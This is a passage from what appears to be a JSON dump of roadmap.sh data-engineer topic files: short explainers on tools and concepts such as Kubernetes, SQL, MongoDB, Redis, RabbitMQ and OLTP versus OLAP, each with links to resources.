    "content": "# Kubernetes\n\nKubernetes is an [open source](https://github.com/kubernetes/kubernetes) container management platform, and the dominant product in this space. Using Kubernetes, teams can deploy images across multiple underlying hosts, defining their desired availability, deployment logic, and scaling logic in YAML. Kubernetes evolved from Borg, an internal Google platform used to provision and allocate compute resources (similar to the Autopilot and Aquaman systems of Microsoft Azure).\n\nThe popularity of Kubernetes has made it an increasingly important skill for the DevOps Engineer and has triggered the creation of Platform teams across the industry. These Platform engineering teams often exist with the sole purpose of making Kubernetes approachable and usable for their product development colleagues.\n\nVisit the following resources to learn more:\n\n- [@official@Kubernetes Website](https://kubernetes.io/)\n- [@official@Kubernetes Documentation](https://kubernetes.io/docs/home/)\n- [@article@Primer: How Kubernetes Came to Be, What It Is, and Why You Should Care](https://thenewstack.io/primer-how-kubernetes-came-to-be-what-it-is-and-why-you-should-care/)\n- [@article@Kubernetes: An Overview](https://thenewstack.io/kubernetes-an-overview/)\n- [@video@Kubernetes Crash Course for Absolute Beginners](https://www.youtube.com/watch?v=s_o8dwzRlu4)\n- [@feed@Explore top posts about Kubernetes](https://app.daily.dev/tags/kubernetes?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/learn-sql@2rRVWPON-o3MvpgZmrU_A.md",
    "content": "# Learn SQL Concepts\n\nSQL stands for Structured Query Language. It is a standardized programming language designed to manage and interact with relational database management systems (RDBMS). SQL allows you to create, read, edit, and delete data stored in database tables by writing specific queries.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated SQL Roadmap](https://roadmap.sh/sql)\n- [@article@SQL Tutorial - Essential SQL For The Beginners](https://www.sqltutorial.org/)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/linux-basics@FXQ_QsljK59zDULLgTqCB.md",
    "content": "# Linux Basics\n\nKnowledge of UNIX is a must for almost all kind of development as most of the code that you write is most likely going to be finally deployed on a UNIX/Linux machine. Linux has been the backbone of the free and open source software movement, providing a simple and elegant operating system for almost all your needs.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Linux Roadmap](https://roadmap.sh/linux)\n- [@course@Coursera - Unix Courses](https://www.coursera.org/courses?query=unix)\n- [@article@Linux Basics](https://dev.to/rudrakshi99/linux-basics-2onj)\n- [@article@Unix / Linux Tutorial](https://www.tutorialspoint.com/unix/index.htm)\n- [@video@Linux Operating System - Crash Course](https://www.youtube.com/watch?v=ROjZy1WbCIA)\n- [@feed@Explore top posts about Linux](https://app.daily.dev/tags/linux?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/load-data@y5Aaxe-P68HC5kNsIi88q.md",
    "content": "# Load Data\n\nIn the third step, the transformed data is moved from the staging area into the targe data storage solution, such as a data warehouse or data lake. For most organizations, the data loading process is automated, well-defined, continuous and batch-driven."
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/load-testing@qoMRpAITA7R_KOrwGDPAb.md",
    "content": "# Load Testing\n\nLoad Testing is a type of Performance Testing that determines the performance of a system, software product, or software application under real-life-based load conditions. Load testing determines the behavior of the application when multiple users use it at the same time. It is the response of the system measured under varying load conditions.\n\nVisit the following resources to learn more:\n\n- [@article@Load testing and Best Practices](https://loadninja.com/load-testing/)\n- [@feed@Explore top posts about Load Testing](https://app.daily.dev/tags/load-testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/logs@s-wUPMaagyRupT2RdfHks.md",
    "content": "# Logs\n\nLogs are files that record events, activities, and system operations over time. They provide a detailed historical record of what has happened within a system, including timestamps, event details, performance data, errors, and user actions. Logs are crucial for troubleshooting problems, monitoring system health and performance, investigating security incidents, and understanding how users interact with a system."
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/looker@fY0eZzz0aTXm2lelk8l3g.md",
    "content": "# Looker\n\nLooker is a Google cloud-based business intelligence and data analytics platform. It allows users to explore, analyze, and visualize data to gain insights and make data-driven decisions. Looker is known for its ability to connect to various data sources, create custom dashboards, and generate reports. It also facilitates the integration of analytics, visualizations, and relevant information into business processes.\n\nVisit the following resources to learn more:\n\n- [@official@Looker business intelligence platform embedded analytics](https://cloud.google.com/looker)\n- [@video@What is Looker?](https://www.youtube.com/watch?v=EmkNPAzla0Y&pp=0gcJCfwAo7VqN5tD)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/luigi@_IiKTZDF_b57l79X6lsq6.md",
    "content": "# Luigi\n\nLuigi is a powerful, easy-to-use open-source framework for building data pipelines with Python. It handles dependency resolution, workflow management, visualization etc. Luigi helps to build the data pipeline, typically associated with long-running batch processes.\n\nVisit the following resources to learn more:\n\n- [@official@Luigi Docs](https://luigi.readthedocs.io/)\n- [@article@Getting Started with Luigi—What, Why & How](https://medium.com/big-data-processing/getting-started-with-luigi-what-why-how-f8e639a1f2a5)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/machine-learning@S8XMtFKWlnUqADElFp0Zw.md",
    "content": "# Machine Learning - A Key Concept for Data Analysts\n\nMachine learning, a subset of artificial intelligence, is an indispensable tool in the hands of a data analyst. It provides the ability to automatically learn, improve from experience and make decisions without being explicitly programmed. In the context of a data analyst, machine learning contributes significantly in uncovering hidden insights, recognising patterns or making predictions based on large amounts of data. Through the use of varying algorithms and models, data analysts are able to leverage machine learning to convert raw data into meaningful information, making it a critical concept in data analysis.\n\nVisit the following resources to learn more:\n\n- [@article@What is Machine Learning (ML)?](https://www.ibm.com/topics/machine-learning)\n- [@video@What is Machine Learning?](https://www.youtube.com/watch?v=9gGnTQTYNaE)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/mapreduce@__tWu5uZYnmnuR-qO9SOR.md",
    "content": "# MapReduce\n\nMapReduce is a prominent data processing technique used by Data Analysts around the world. It allows them to handle large data sets with complex, unstructured data efficiently. MapReduce breaks down a big data problem into smaller sub-tasks (Map) and then takes those results to create an output in a more usable format (Reduce). This technique is particularly useful in conducting exploratory analysis, as well as in handling big data operations such as text processing, graph processing, or more complicated machine learning algorithms.\n\nVisit the following resources to learn more:\n\n- [@article@MapReduce](https://www.databricks.com/glossary/mapreduce)\n- [@article@What is Apache MapReduce?](https://www.ibm.com/topics/mapreduce)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/mariadb@p7S_6O9Qq722r-F4bl6G3.md",
    "content": "# MariaDB\n\nMariaDB server is a community developed fork of MySQL server. Started by core members of the original MySQL team, MariaDB actively works with outside developers to deliver the most feature rich, stable, and sanely licensed open SQL server in the industry. MariaDB was created with the intention of being a more versatile, drop-in replacement version of MySQL\n\nVisit the following resources to learn more:\n\n- [@official@MariaDB](https://mariadb.org/)\n- [@article@MariaDB vs MySQL](https://www.guru99.com/mariadb-vs-mysql.html)\n- [@video@MariaDB Tutorial For Beginners in One Hour](https://www.youtube.com/watch?v=_AMj02sANpI)\n- [@feed@Explore top posts about Infrastructure](https://app.daily.dev/tags/infrastructure?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/memcached@KYUh29Ok1aeOviboGDS_i.md",
    "content": "# Memcached\n\nMemcached (pronounced variously mem-cash-dee or mem-cashed) is a general-purpose distributed memory-caching system. It is often used to speed up dynamic database-driven websites by caching data and objects in RAM to reduce the number of times an external data source (such as a database or API) must be read. Memcached is free and open-source software, licensed under the Revised BSD license. Memcached runs on Unix-like operating systems (Linux and macOS) and on Microsoft Windows. It depends on the `libevent` library. Memcached's APIs provide a very large hash table distributed across multiple machines. When the table is full, subsequent inserts cause older data to be purged in the least recently used (LRU) order. Applications using Memcached typically layer requests and additions into RAM before falling back on a slower backing store, such as a database.\n\nVisit the following resources to learn more:\n\n- [@opensource@memcached/memcached](https://github.com/memcached/memcached#readme)\n- [@article@Memcached Tutorial](https://www.tutorialspoint.com/memcached/index.htm)\n- [@video@Redis vs Memcached](https://www.youtube.com/watch?v=Gyy1SiE8avE)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/messages-vs-streams@IZvL-1Xi0R9IuwJ30FDm4.md",
    "content": "# Messages vs Streams\n\nMessages and Streams are often used interchange‐ably but a subtle but essential differences exists between the two. A message is raw data communicated across two or more systems. Messages are discrete and singular signals in an event-driven system.\n\nBy contrast, a stream is an append-only log of event records. As events occur, streams are accumulated in an ordered sequence, using a timestamp or an ID to record events order. Streams are used when you need to analyze what happened over many events. Because of the append-only nature of streams, records in a stream are persisted over a long retention window—often weeks or months—allowing for complex operations on records such as aggregations on multiple records or the ability to rewind to a point in time within the stream."
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/messaging-systems@dAvizeYvv92KMeAvSDmey.md",
    "content": "# Messaging Systems\n\nMessaging systems, commonly known as messaging queus, make it possible for applications to communicate asynchronously, by sending messages to each other via a queue. A message queue provides temporary storage between the sender and the receiver so that the sender can keep operating without interruption when the destination program is busy or not connected.\n\nVisit the following resources to learn more:\n\n- [@article@Messaging Queues](https://aws.amazon.com/message-queue/)\n- [@article@Messaging Queues Tutorial](https://www.tutorialspoint.com/inter_process_communication/inter_process_communication_message_queues.htm)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/metadata-first-architecture@14CycunRC1p2qTRn-ncoy.md",
    "content": "# Metadata-first Architecture"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/metadata-management@a5gzM8msXibxD58eVDkM-.md",
    "content": "# Metadata Management"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/microsoft-power-bi@6Nr5FAGT_oOPZwZWdv7hl.md",
    "content": "# Microsoft Power BI\n\nPowerBI, an interactive data visualization and business analytics tool developed by Microsoft, plays a crucial role in the field of a data analyst's work. It helps data analysts to convert raw data into meaningful insights through it's easy-to-use dashboards and reports function. This tool provides a unified view of business data, allowing analysts to track and visualize key performance metrics and make better-informed business decisions. With PowerBI, data analysts also have the ability to manipulate and produce visualizations of large data sets that can be shared across an organization, making complex statistical information more digestible.\n\nVisit the following resources to learn more:\n\n- [@official@Power BI](https://www.microsoft.com/en-us/power-platform/products/power-bi)\n- [@video@Power BI for beginners](https://www.youtube.com/watch?v=NNSHu0rkew8)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/mlops@VQv-c7buU2l-IDzRZBMRo.md",
    "content": "# MLOps\n\nMLOps is a practice for collaboration and communication between data scientists and operations professionals to help manage production ML lifecycle. It is a set of best practices that aims to automate the ML lifecycle, including training, deployment, and monitoring. MLOps helps organizations to scale ML models and deliver business value faster."
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/mobile-apps@dJZqe47kzRqYIG-4AZTlz.md",
    "content": "# Mobile apps\n\nMobile apps are programs for phones and tablets, usually from app stores. They can be native (for one OS like iOS or Android), hybrid (web tech in a native shell), or cross-platform (like React Native). Apps use phone features like GPS and cameras. They do many things from games to shopping. Good mobile apps focus on easy use, speed, offline working, and security."
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/mongodb@04V0Bcgjusfqdw0b-Aw4W.md",
    "content": "# MongoDB\n\nMongoDB is a NoSQL, open-source database designed for storing and managing large volumes of unstructured or semi-structured data. It uses a document-oriented data model where data is stored in BSON (Binary JSON) format, which allows for flexible and hierarchical data representation. Unlike traditional relational databases, MongoDB doesn't require a fixed schema, making it suitable for applications with evolving data requirements or varying data structures. It supports horizontal scaling through sharding and offers high availability with replica sets. MongoDB is commonly used for applications requiring rapid development, real-time analytics, and large-scale data handling, such as content management systems, IoT applications, and big data platforms.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated MongoDB Roadmap](https://roadmap.sh/mongodb)\n- [@official@MongoDB Website](https://www.mongodb.com/)\n- [@official@Learning Path for MongoDB Developers](https://learn.mongodb.com/catalog)\n- [@article@MongoDB Online Sandbox](https://mongoplayground.net/)\n- [@feed@daily.dev MongoDB Feed](https://app.daily.dev/tags/mongodb)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/monitoring@dk5FQl7Pk3-O5eF7dKwmp.md",
    "content": "# Monitoring\n\nMonitoring involves continuously observing and tracking the performance, availability, and health of systems, applications, and infrastructure. It typically includes collecting and analyzing metrics, logs, and events to ensure systems are operating within desired parameters. Monitoring helps detect anomalies, identify potential issues before they escalate, and provides insights into system behavior. It often involves tools and platforms that offer dashboards, alerts, and reporting features to facilitate real-time visibility and proactive management. Effective monitoring is crucial for maintaining system reliability, performance, and for supporting incident response and troubleshooting.\n\nA few popular tools are Prometheus, Sentry, Datadog, and NewRelic.\n\nVisit the following resources to learn more:\n\n- [@article@Top Monitoring Tools](https://thectoclub.com/tools/best-application-monitoring-software/)\n- [@feed@daily.dev Monitoring Feed](https://app.daily.dev/tags/monitoring)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/ms-sql@YxnIQh6Y5ic795-YsajB8.md",
    "content": "# MS SQL\n\nMicrosoft SQL Server (MS SQL) is a relational database management system developed by Microsoft for managing and storing structured data. It supports a wide range of data operations, including querying, transaction management, and data warehousing. SQL Server provides tools and features for database design, performance optimization, and security, including support for complex queries through T-SQL (Transact-SQL), data integration with SQL Server Integration Services (SSIS), and business intelligence with SQL Server Analysis Services (SSAS) and SQL Server Reporting Services (SSRS). It is commonly used in enterprise environments for applications requiring reliable data storage, transaction processing, and reporting.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated SQL Roadmap](https://roadmap.sh/sql)\n- [@official@MS SQL](https://www.microsoft.com/en-ca/sql-server/)\n- [@article@Tutorials for SQL Server](https://docs.microsoft.com/en-us/sql/sql-server/tutorials-for-sql-server-2016?view=sql-server-ver15)\n- [@video@SQL Server tutorial for beginners](https://www.youtube.com/watch?v=-EPMOaV7h_Q)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/mysql@_bFj6rbLuqeQB5MjJZpd6.md",
    "content": "# MySQL\n\nMySQL is an open-source relational database management system (RDBMS) known for its speed, reliability, and ease of use. It uses SQL (Structured Query Language) for database interactions and supports a range of features for data management, including transactions, indexing, and stored procedures. MySQL is widely used for web applications, data warehousing, and various other applications due to its scalability and flexibility. It integrates well with many programming languages and platforms, and is often employed in conjunction with web servers and frameworks in popular software stacks like LAMP (Linux, Apache, MySQL, PHP/Python/Perl). MySQL is maintained by Oracle Corporation and has a large community and ecosystem supporting its development and use.\n\nVisit the following resources to learn more:\n\n- [@official@MySQL](https://www.mysql.com/)\n- [@article@MySQL for Developers](https://planetscale.com/courses/mysql-for-developers/introduction/course-introduction)\n- [@article@MySQL Tutorial](https://www.mysqltutorial.org/)\n- [@video@MySQL Complete Course](https://www.youtube.com/watch?v=5OdVJbNCSso)\n- [@feed@Explore top posts about MySQL](https://app.daily.dev/tags/mysql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/neo4j@TG63YRbSKL1F9vlUVF1VY.md",
    "content": "# NEO4J\n\nNeo4j is a highly popular open-source graph database designed to store, manage, and query data as interconnected nodes and relationships. Unlike traditional relational databases that use tables and rows, Neo4j uses a graph model where data is represented as nodes (entities) and edges (relationships), allowing for highly efficient querying of complex, interconnected data. It supports Cypher, a declarative query language specifically designed for graph querying, which simplifies operations like traversing relationships and pattern matching. Neo4j is well-suited for applications involving complex relationships, such as social networks, recommendation engines, and fraud detection, where understanding and leveraging connections between data points is crucial.\n\nVisit the following resources to learn more:\n\n- [@official@Neo4j Website](https://neo4j.com)\n- [@video@Neo4j in 100 Seconds](https://www.youtube.com/watch?v=T6L9EoBy8Zk)\n- [@video@Neo4j Course for Beginners](https://www.youtube.com/watch?v=_IgbB24scLI)\n- [@feed@Explore top posts about Backend Development](https://app.daily.dev/tags/backend?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/neptune@atAK4zGXIbxZvfBTzFEIe.md",
    "content": "# AWS Neptune\n\nAmazon Neptune is a fully managed graph database service provided by Amazon Web Services (AWS). It's designed to store and navigate highly connected data, supporting both property graph and RDF (Resource Description Framework) models. Neptune uses graph query languages like Gremlin and SPARQL, making it suitable for applications involving complex relationships, such as social networks, recommendation engines, fraud detection systems, and knowledge graphs. It offers high availability, with replication across multiple Availability Zones, and supports up to 15 read replicas for improved performance. Neptune integrates with other AWS services, provides encryption at rest and in transit, and offers fast recovery from failures. Its scalability and performance make it valuable for handling large-scale, complex data relationships in enterprise-level applications.\n\nVisit the following resources to learn more:\n\n- [@official@AWS Neptune](https://aws.amazon.com/neptune/)\n- [@article@Setting Up Amazon Neptune Graph Database](https://cliffordedsouza.medium.com/setting-up-amazon-neptune-graph-database-2b73512a7388)\n- [@video@Getting Started with Neptune Serverless](https://www.youtube.com/watch?v=b04-jjM9t4g)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/networking-fundamentals@cgkzFMmQils2sYj4NW8VW.md",
    "content": "# Networking\n\nNetworking is the process of connecting two or more computing devices together for the purpose of sharing data. In a data network, shared data may be as simple as a printer or as complex as a global financial transaction.\n\nIf you have networking experience or want to be a reliability engineer or operations engineer, expect questions from these topics. Otherwise, this is just good to know.\n\nVisit the following resources to learn more:\n\n- [@article@Khan Academy - Networking](https://www.khanacademy.org/computing/code-org/computers-and-the-internet)\n- [@video@Computer Networking Course - Network Engineering](https://www.youtube.com/watch?v=qiQR5rTSshw)\n- [@video@Networking Video Series (21 videos)](https://www.youtube.com/playlist?list=PLEbnTDJUr_IegfoqO4iPnPYQui46QqT0j)\n- [@feed@Explore top posts about Networking](https://app.daily.dev/tags/networking?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/new-relic@r1KmASWAa_MOqQOC9gvvF.md",
    "content": "# New Relic\n\nNew Relic is an observability platform that helps you build better software. You can bring in data from any digital source so that you can fully understand your system and how to improve it.\n\nVisit the following resources to learn more:\n\n- [@official@New Relic](https://newrelic.com/)\n- [@official@Learn New Relic](https://learn.newrelic.com/)\n- [@feed@Explore top posts about DevOps](https://app.daily.dev/tags/devops?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/nosql-databsases@uZYQ8tqTriXt_JIOjcM9_.md",
    "content": "# NoSQL databases\n\nNoSQL databases are a category of database management systems designed for handling unstructured, semi-structured, or rapidly changing data. Unlike traditional relational databases, which use fixed schemas and SQL for querying, NoSQL databases offer flexible data models and can be classified into several types:\n\n1.  **Document Stores**: Store data in JSON, BSON, or XML formats, allowing for flexible and hierarchical data structures (e.g., MongoDB, CouchDB).\n2.  **Key-Value Stores**: Store data as key-value pairs, suitable for high-speed read and write operations (e.g., Redis, Riak).\n3.  **Column-Family Stores**: Store data in columns rather than rows, which is useful for handling large volumes of data and wide columnar tables (e.g., Apache Cassandra, HBase).\n4.  **Graph Databases**: Optimize the storage and querying of data with complex relationships using graph structures (e.g., Neo4j, Amazon Neptune).\n\nNoSQL databases are often used for applications requiring high scalability, flexibility, and performance, such as real-time analytics, content management systems, and distributed data storage.\n\nVisit the following resources to learn more:\n\n- [@article@NoSQL Explained](https://www.mongodb.com/nosql-explained)\n- [@video@How do NoSQL Databases work](https://www.youtube.com/watch?v=0buKQHokLK8)\n- [@video@SQL vs NoSQL Explained](https://www.youtube.com/watch?v=ruz-vK8IesE)\n- [@feed@Explore top posts about NoSQL](https://app.daily.dev/tags/nosql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/oltp-vs-olap@-VQQmIUGesnrT1N6kH5et.md",
    "content": "# OLTP vs OLAP\n\nOnline Transaction Processing (OLTP) refers to a class of systems designed to manage transaction-oriented applications, typically for data entry and retrieval transactions in database systems. OLTP systems are characterized by a large number of short online transactions (INSERT, UPDATE, DELETE), where the emphasis is on speed, efficiency, and maintaining data integrity in multi-access environments. PostgreSQL supports OLTP workloads through features like ACID compliance (Atomicity, Consistency, Isolation, Durability), MVCC (Multi-Version Concurrency Control) for high concurrency, efficient indexing, and robust transaction management. These features ensure reliable, fast, and consistent processing of high-volume, high-frequency transactions critical to OLTP applications.\n\nOnline Analytical Processing (OLAP) refers to a class of systems designed for query-intensive tasks, typically used for data analysis and business intelligence. OLAP systems handle complex queries that aggregate large volumes of data, often from multiple sources, to support decision-making processes.\n\nVisit the following resources to learn more:\n\n- [@article@What is OLTP?](https://www.oracle.com/uk/database/what-is-oltp/)\n- [@article@What is OLAP? - Online Analytical Processing Explained](https://aws.amazon.com/what-is/olap/)\n- [@video@OLTP vs OLAP](https://www.youtube.com/watch?v=iw-5kFzIdgY)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/onehouse@senZEYC9k-C_C4EAYDNeU.md",
    "content": "# Onehouse\n\nOnehouse Managed Lakehouse is a cloud-native SaaS product built on top of Apache Hudi. It replaces painful, inefficient do-iy-yourseld data lake management around file sizing, masking, deletion, clustering, access control, caching, etc. with foundational data infrastructure as a service, to ingest, store, optimize and transform your data on industry-leading open data formats.\n\nVisit the following resources to learn more:\n\n- [@official@Onehouse](https://www.onehouse.ai/)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/opentofu@WdlC0HhJ5YESfjXmdMnLU.md",
    "content": "# OpenTofu\n\nOpenTofu is an infrastructure as code tool that lets you define both cloud and on-prem resources in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. OpenTofu can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features.\n\nVisit the following resources to learn more:\n\n- [@official@OpenTofu Docs](https://opentofu.org/docs/)\n- [@video@OpenWhat is OpenTofu ?Explained with Demo](https://www.youtube.com/watch?v=6eHV63BVqmA)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/oracle@PJcxM60h85Po0AAkSj7nr.md",
    "content": "# Oracle\n\nOracle Database is a highly robust, enterprise-grade relational database management system (RDBMS) developed by Oracle Corporation. Known for its scalability, reliability, and comprehensive features, Oracle Database supports complex data management tasks and mission-critical applications. It provides advanced functionalities like SQL querying, transaction management, high availability through clustering, and data warehousing. Oracle's database solutions include support for various data models, such as relational, spatial, and graph, and offer tools for security, performance optimization, and data integration. It is widely used in industries requiring large-scale, secure, and high-performance data processing.\n\nVisit the following resources to learn more:\n\n- [@official@Oracle Website](https://www.oracle.com/database/)\n- [@official@Oracle Docs](https://docs.oracle.com/en/database/index.html)\n- [@video@Oracle SQL Tutorial for Beginners](https://www.youtube.com/watch?v=ObbNGhcxXJA)\n- [@feed@Explore top posts about Oracle](https://app.daily.dev/tags/oracle?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/perfect@TAh4__7U58J7fduU9a1Ol.md",
    "content": "# Prefect\n\nPrefect is an open-source orchestration engine that turns your Python functions into production-grade data pipelines with minimal friction. You can build and schedule workflows in pure Python—no DSLs or complex config files—and run them anywhere you can run Python. Prefect handles the heavy lifting for you out of the box: automatic state tracking, failure handling, real-time monitoring, and more.\n\nVisit the following resources to learn more:\n\n- [@official@Prefect Docs](https://docs.prefect.io/v3/get-started)\n- [@video@Getting Started with Prefect](https://www.youtube.com/watch?v=D5DhwVNHWeU)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/postgresql@__JFgwxeDLvz8p7DAJnsc.md",
    "content": "# PostgreSQL\n\nPostgreSQL is an advanced, open-source relational database management system (RDBMS) known for its robustness, extensibility, and standards compliance. It supports a wide range of data types and advanced features, including complex queries, foreign keys, and full-text search. PostgreSQL is highly extensible, allowing users to define custom data types, operators, and functions. It supports ACID (Atomicity, Consistency, Isolation, Durability) properties for reliable transaction processing and offers strong support for concurrency and data integrity. Its capabilities make it suitable for various applications, from simple web apps to large-scale data warehousing and analytics solutions.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated PostgreSQL DBA Roadmap](https://roadmap.sh/postgresql-dba)\n- [@official@Official Website](https://www.postgresql.org/)\n- [@article@Learn PostgreSQL - Full Tutorial for Beginners](https://www.postgresqltutorial.com/)\n- [@video@PostgreSQL in 100 Seconds](https://www.youtube.com/watch?v=n2Fluyr3lbc)\n- [@video@Postgres tutorial for Beginners](https://www.youtube.com/watch?v=SpfIwlAYaKk)\n- [@feed@Explore top posts about PostgreSQL](https://app.daily.dev/tags/postgresql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/programming-skills@_2Ofq3Df-VRXDgKyveZ0U.md",
    "content": "# Programming Skills\n\nTo be successful as a data engineer, you need to be proficient in coding. This involves knowning basic concepts and principles that form the foundation of any computer programming language. These include understanding variables, which store data for processing, control structures such as loops and conditional statements that direct the flow of a program, data structures which organize and store data efficiently, and algorithms which step by step instructions to solve specific problems or perform specific tasks."
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/prometheus@3QsgoKKxAoyj2LWJ8ad-7.md",
    "content": "# Prometheus\n\nPrometheus is a free software application used for event monitoring and alerting. It records real-time metrics in a time series database built using a HTTP pull model, with flexible queries and real-time alerting.\n\nVisit the following resources to learn more:\n\n- [@official@Prometheus Website](https://prometheus.io/)\n- [@official@Prometheus Documentation](https://prometheus.io/docs/introduction/overview/)\n- [@official@Getting Started with Prometheus](https://prometheus.io/docs/tutorials/getting_started/)\n- [@feed@Explore top posts about Prometheus](https://app.daily.dev/tags/prometheus?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/python@ILs5azr4L_uLK0CDFKVaz.md",
    "content": "# Python\n\nPython’s inherent characteristics and the wealth of resources that have grown around it have made it the data engineer’s language of choice. Python is a high-level, interpreted, general-purpose programming language. Its design philosophy emphasizes code readability with the use of significant indentation. Python is dynamically-typed and garbage-collected.\n\nVisit the following resources to learn more:\n\n- [@official@Python Website](https://www.python.org/)\n- [@article@Python - Wiki](https://en.wikipedia.org/wiki/Python_(programming_language))\n- [@article@Tutorial Series: How to Code in Python](https://www.digitalocean.com/community/tutorials/how-to-write-your-first-python-3-program)\n- [@article@Google's Python Class](https://developers.google.com/edu/python)\n- [@video@Learn Python - Full Course](https://www.youtube.com/watch?v=4M87qBgpafk)\n- [@feed@Explore top posts about Python](https://app.daily.dev/tags/python?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/rabbitmq@ERcgPTACqYo9BXoRdLjbd.md",
    "content": "# RabbitMQ\n\nRabbitMQ is an open-source message broker that facilitates the exchange of messages between distributed systems using the Advanced Message Queuing Protocol (AMQP). It enables asynchronous communication by queuing and routing messages between producers and consumers, which helps decouple application components and improve scalability and reliability. RabbitMQ supports features such as message durability, acknowledgments, and flexible routing through exchanges and queues. It is highly configurable, allowing for various messaging patterns, including publish/subscribe, request/reply, and point-to-point communication. RabbitMQ is widely used in enterprise environments for handling high-throughput messaging and integrating heterogeneous systems.\n\nVisit the following resources to learn more:\n\n- [@official@RabbitMQ Tutorials](https://www.rabbitmq.com/getstarted.html)\n- [@video@RabbitMQ Tutorial - Message Queues and Distributed Systems](https://www.youtube.com/watch?v=nFxjaVmFj5E)\n- [@video@RabbitMQ in 100 Seconds](https://m.youtube.com/watch?v=NQ3fZtyXji0)\n- [@feed@Explore top posts about RabbitMQ](https://app.daily.dev/tags/rabbitmq?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/realtime@oqxNr0Lj34mgRi5Z5wJt_.md",
    "content": "# Realtime\n\nReal-time processing, also known as streaming processing, involves the immediate ingestion, as well as analysis, of data as it is generated, providing instantaneous insights and enabling timely decisions in time-sensitive applications like financial trading, medical monitoring, and autonomous vehicles. This differs from batch processing, which handles data in later batches, and typically involves continuous data streaming, low latency, and high availability to deliver immediate outcomes for critical tasks."
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/redis@dW_eC4vR8BrvKG9wxmEBc.md",
    "content": "# Redis\n\nRedis is an open-source, in-memory data structure store known for its speed and versatility. It supports various data types, including strings, lists, sets, hashes, and sorted sets, and provides functionalities such as caching, session management, real-time analytics, and message brokering. Redis operates as a key-value store, allowing for rapid read and write operations, and is often used to enhance performance and scalability in applications. It supports persistence options to save data to disk, replication for high availability, and clustering for horizontal scaling. Redis is widely used for scenarios requiring low-latency access to data and high-throughput performance.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Redis Roadmap](https://roadmap.sh/redis)\n- [@course@Redis Crash Course](https://www.youtube.com/watch?v=XCsS_NVAa1g)\n- [@official@Redis](https://redis.io/)\n- [@official@Redis Documentation](https://redis.io/docs/latest/)\n- [@video@Redis in 100 Seconds](https://www.youtube.com/watch?v=G1rOthIU-uo)\n- [@feed@Explore top posts about Redis](https://app.daily.dev/tags/redis?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/relational-databases@cslVSSKBMO7I6CpO7vG1H.md",
    "content": "# Relational Databases\n\nRelational databases are a type of database management system (DBMS) that organizes data into structured tables with rows and columns, using a schema to define data relationships and constraints. They employ Structured Query Language (SQL) for querying and managing data, supporting operations such as data retrieval, insertion, updating, and deletion. Relational databases enforce data integrity through keys (primary and foreign) and constraints (such as unique and not-null), and they are designed to handle complex queries, transactions, and data relationships efficiently. Examples of relational databases include MySQL, PostgreSQL, and Oracle Database. They are commonly used for applications requiring structured data storage, strong consistency, and complex querying capabilities.\n\nVisit the following resources to learn more:\n\n- [@course@Databases and SQL](https://www.edx.org/course/databases-5-sql)\n- [@article@Relational Databases](https://www.ibm.com/cloud/learn/relational-databases)\n- [@article@51 Years of Relational Databases](https://learnsql.com/blog/codd-article-databases/)\n- [@article@Intro To Relational Databases](https://www.udacity.com/course/intro-to-relational-databases--ud197)\n- [@video@What is Relational Database](https://youtu.be/OqjJjpjDRLc)\n- [@feed@Explore top posts about Backend Development](https://app.daily.dev/tags/backend?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/reusability@Rzk6HlMosx3FN_JD5kELZ.md",
